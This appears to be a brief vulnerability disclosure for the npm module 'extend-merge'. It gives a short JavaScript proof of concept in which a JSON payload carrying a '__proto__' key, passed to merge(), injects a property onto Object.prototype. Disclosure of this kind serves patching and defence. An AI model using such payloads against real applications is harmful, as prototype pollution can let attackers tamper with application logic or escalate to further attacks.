[extend-merge] Prototype pollution

I would like to report a `prototype pollution` vulnerability in `extend-merge` module. It allows an attacker to inject properties on Object.prototype.

const extend_merge = require('extend-merge');
const payload =  JSON.parse('{"__proto__":{"polluted":"yes"}}');
let obj = {};
console.log("Before : " + obj.polluted);
extend_merge.merge({}, payload);
console.log("After : " + obj.polluted);